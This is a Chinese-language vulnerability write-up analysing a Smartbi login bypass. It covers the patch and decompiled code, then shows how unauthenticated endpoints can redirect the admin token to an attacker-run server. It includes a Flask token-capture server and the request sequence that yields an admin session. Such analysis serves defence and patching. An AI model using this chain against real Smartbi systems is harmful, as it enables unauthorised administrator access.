本次漏洞是7月底修复的漏洞
免费&进群
smartbi 登录绕过漏洞分析
分析补丁
本次漏洞是7月底修复的漏洞
下载patch.patches
文件,利用解密工具逆向出补丁内容
具体修复在
看路由接口名像是设置某种地址,来到具体的规则实现类RejectSmartbixSetAddress.class
可得到具体存在危险的类名和⽅法名:
smartbix.datamining.service.MonitorService::getToken()
危险函数分析
在源码中找到其实现
根据注解@FunctionPermission({"NOT_LOGIN_REQUIRED"})
,该路由接口不需要登录权限。
危险方法getToken
中
String token = this.catalogService.getToken(10800000L);
首先通过this.catalogService.getToken
方法获取token的字符串,其实现如下
最终调用pushLoginTokenByEngine
方法
private String pushLoginTokenByEngine(Long duration) {
IDAOModule daoModule = userManagerModule.getDaoModule();
IStateModule stateModule = userManagerModule.getStateModule();
if (daoModule.getFramework() != null && daoModule.getFramework().isActived()) {
String userId = "ADMIN";
String token = null;
String username = null;
User user = userManagerModule.getUserById(userId);
if (user != null && "1".equals(user.getEnabled())) {
username = user.getName();
token = username + "_" + UUIDGenerator.generate();
} else {
...
}
if (StringUtil.isNullOrEmpty(token)) {
throw (new SmartbiException(UserManagerErrorCode.NOT_EXIST_USER)).setDetail("No admin user");
} else {
UserLoginToken loginToken = new UserLoginToken();
loginToken.setToken(token);
loginToken.setUserName(username);
loginToken.setCreateTime(Calendar.getInstance().getTime());
loginToken.setDuration(duration);
LoginTokenDAO.getInstance().save(loginToken);
return token;
}
} else {
...
}
}
根据调试会进入到if逻辑中,通过userManagerModule.getUserById
从数据库中查询admin管理员信息构造User对象,此时token的值为
token = username + "_" + UUIDGenerator.generate();
UUIDGenerator.generate()则是根据UUIDGenerator
对象中IP和JVM等变量值来构造
最后构造UserLoginToken
对象,利用token等值对其初始化,并调用LoginTokenDAO.getInstance().save
将信息保存到数据库中
回到getToken方法,此时进入if-else逻辑中
if (StringUtil.isNullOrEmpty(token)) {
throw SmartbiXException.create(CommonErrorCode.NULL_POINTER_ERROR).setDetail("token is null");
} else if (!"SERVICE_NOT_STARTED".equals(token)) {
Map<String, String> result = new HashMap();
result.put("token", token);
if ("experiment".equals(type)) {
EngineApi.postJsonEngine(EngineUrl.ENGINE_TOKEN.name(), result, Map.class, new Object[0]);
} else if ("service".equals(type)) {
EngineApi.postJsonService(ServiceUrl.SERVICE_TOKEN.name(), result, Map.class, new Object[]{EngineApi.address("service-address")});
}
ComponentStateHolder.toSmartbiX();
ComponentStateHolder.fromSmartbiX();
}
会将token的值存在map类型result变量中,并根据传参type的值进入engineApi的两个不同的方法
public static <T> T postJsonEngine(String type, Object data, Class<T> dataType, Object... values) throws Exception {
String url = EngineUrl.getUrl(type, values);
return HttpKit.postJson(url, data, dataType);
}
#EngineUrl.getUrl
public static String getUrl(String val, Object... values) {
EngineUrl engineUrl = null;
try {
engineUrl = valueOf(val);
} catch (Exception var6) {
throw SmartbiXException.create(CommonErrorCode.ILLEGAL_PARAMETER_VALUES).setDetail(val);
}
if (engineUrl != null && engineUrl.url != null) {
String url = engineUrl.url;
url = String.format(url, values);
if (url.contains("lang=")) {
Locale currentLocale = LanguageHelper.getCurrentLocale();
String language = currentLocale.toString();
url = MessageFormat.format(url, EngineApi.address("engine-address"), language);
} else {
url = MessageFormat.format(url, EngineApi.address("engine-address"));
}
return url;
} else {
throw SmartbiXException.create(CommonErrorCode.NOT_FOUND_RIGHT_PATH).setDetail(val);
}
}
public static <T> T postJsonService(String type, Object data, Class<T> dataType, Object... values) throws Exception {
String url = ServiceUrl.getUrl(type, values);
return HttpsKit.postJson(url, data, dataType);
}
#ServiceUrl.getUrl
public static String getUrl(String val, Object... values) {
ServiceUrl serviceUrl = null;
try {
serviceUrl = valueOf(val);
} catch (Exception var6) {
throw SmartbiXException.create(CommonErrorCode.ILLEGAL_PARAMETER_VALUES).setDetail(val);
}
if (serviceUrl != null && serviceUrl.url != null) {
String url = serviceUrl.url;
url = String.format(url, values);
if (url.contains("lang=")) {
Locale currentLocale = LanguageHelper.getCurrentLocale();
String language = currentLocale.toString();
url = MessageFormat.format(url, language);
}
return url;
} else {
throw SmartbiXException.create(CommonErrorCode.NOT_FOUND_RIGHT_PATH).setDetail(val);
}
}
首先都是调用getUrl()
获取url,以EngineUrl.getUrl()为例,此时传入的val="ENGINE_TOKEN",根据valueOf()方法构造EngineUrl对象
此时构造EngineUrl对象中成员变量url={0}/api/v1/configs/engine/smartbitoken
if (engineUrl != null && engineUrl.url != null) {
String url = engineUrl.url;
url = String.format(url, values);
if (url.contains("lang=")) {
Locale currentLocale = LanguageHelper.getCurrentLocale();
String language = currentLocale.toString();
url = MessageFormat.format(url, EngineApi.address("engine-address"), language);
} else {
url = MessageFormat.format(url, EngineApi.address("engine-address"));
}
return url;
}
此时传入的另外一参数values为0,且url中不包括“lang=”,最终执行
url = MessageFormat.format(url, EngineApi.address("engine-address"));
即通过EngineApi.address获取相应的地址
public static String address(String type) {
if (type.equals("engine-address")) {
return SystemConfigService.getInstance().getValue("ENGINE_ADDRESS");
} else if (type.equals("service-address")) {
return SystemConfigService.getInstance().getValue("SERVICE_ADDRESS");
} else {
return type.equals("outside-schedule") ? SystemConfigService.getInstance().getValue("MINING_OUTSIDE_SCHEDULE") : "";
}
}
postJsonService
大同小异,只是在传入values参数时已经通过EngineApi.address("service-address")
获取到了地址
获得请求url路径后最终都是调用smartbix.datamining.util.https.HttpsKit::post()
方法
public static <T> T post(String url, Object requestDate, ContentType contentType, JavaType responseType) throws IOException {
RequestBuilder builder = RequestBuilder.post().setUri(url);
if (requestDate != null) {
contentType = contentType == null ? ContentType.APPLICATION_JSON : contentType;
String data = requestDate instanceof String ? requestDate.toString() : CommonUtil.obj2Json(requestDate);
builder.setEntity(new StringEntity(data, contentType));
}
return exe(builder.build(), responseType);
}
通过前面getUrl获取到的url,包含token的map对象构造http请求对象RequestBuilder
,此时http请求的contentType为ContentType.APPLICATION_JSON
,也就是application/json; charset=UTF-8
随后调用exe()方法
利用httpClient.execute()发起请求,获得response内容,此时因为type.getRawClass()为Map.class所以会进入CommonUtil.json2Obj()
即将返回包中的body部分从json类型转化为Object类型,最后返回。
通过上述分析我们可知危险函数getToken
主要是获取admin的token,随后将token通过service-address
或者engine-address
的地址通过http发送出去,并且接收其返回的json数据做转化。
那么我们是否可以修改service-address
或者engine-address
的地址值,让系统将生成的Token通过http请求发送给我们自己的服务器,这样我们就能获取到管理员的Token,以便我们利用其登录系统,于是我们寻找可以修改地址的接口。
修改address地址
根据补丁,有6个设置地址的路由
以/setServiceAddress
为例
获取post请求中body的内容,当其不为空时调用systemConfigService.updateSystemConfig
方法来修改SERVICE_ADDRESS
键的值为传入的serviceAddress值
修改成功后会返回"Service address updated successfully"
不过值得注意的使用@RequestBody,当
Content-Type: application/x-www-form-urlencoded
会对request body进行Url编码,存入的值是被编码后的,导致后续利⽤失败。
我们获取到Token的值后还需要进行登录,那么我们需要找到该Token用于登录的接口。
token登录
同样在smartbix.datamining.service.MonitorService
中我们找到了loginByToken()这一方法,他的路由是/smartbi/smartbix/api/monitor/login
主要是调用catalogService.loginByToken
方法,跟进来到userManagerModule.loginByToken
中
public boolean loginByToken(String token) {
if (StringUtil.isNullOrEmpty(token)) {
return false;
} else {
String userName = null;
UserLoginToken loginToken = (UserLoginToken)LoginTokenDAO.getInstance().load(token);
if (loginToken != null) {
if (loginToken.getCreateTime() != null && System.currentTimeMillis() - loginToken.getCreateTime().getTime() <= loginToken.getDuration()) {
userName = loginToken.getUserName();
} else {
this.deleteLoginToken(loginToken);
}
}
if (StringUtil.isNullOrEmpty(userName)) {
return false;
} else {
IUser user = this.getCurrentUser();
if (user == null || !this.isAdmin(user.getId())) {
if (this.stateModule.getSystemId() == null) {
this.stateModule.setSystemId("DEFAULT_SYS");
}
this.stateModule.setCurrentUser(this.getUserById("SERVICE"));
}
if (loginToken != null && this.stateModule.getSession() != null) {
String ext = loginToken.getExtended();
JSONObject extended = StringUtil.isNullOrEmpty(ext) ? new JSONObject() : JSONObject.fromString(ext);
extended.put("sessionId", this.stateModule.getSession().getId());
loginToken.setExtended(extended.toString());
LoginTokenDAO.getInstance().update(loginToken);
}
return this.switchUser(userName);
}
}
}
这里利用传入的token值,通过LoginTokenDAO::load
获取数据,初始化UserLoginToken对象,当其不为null,并且在有效期内时当前用户转化为此用户
复现
首先编写fake server,用来处理getToken过程:
from flask import *
app = Flask(__name__)
@app.route('/api/v1/configs/engine/smartbitoken', methods=["POST"])
def getToken(): # put application's code here
print(request.data)
return {}, 200, {"Content-Type": "application/json"}
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)
请求setServiceAddress
接口,设置服务器地址:
请求token
接口,获取token的值
最后请求login
接口获取admin用户的SESSION,成功登录:
注意:有可能此时返回的值是 false ,这是由于在调⽤ getToken ⽅法时,使⽤了nc监听或者返回的值不是 json格式,导致报错,那么你的token就没被存⼊对应的变量中,这时候你就需要编写⼀个 fake server ,返回任意的json格式即可。
原文地址: https://forum.butian.net/share/2418
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):smartbi 登录绕过漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论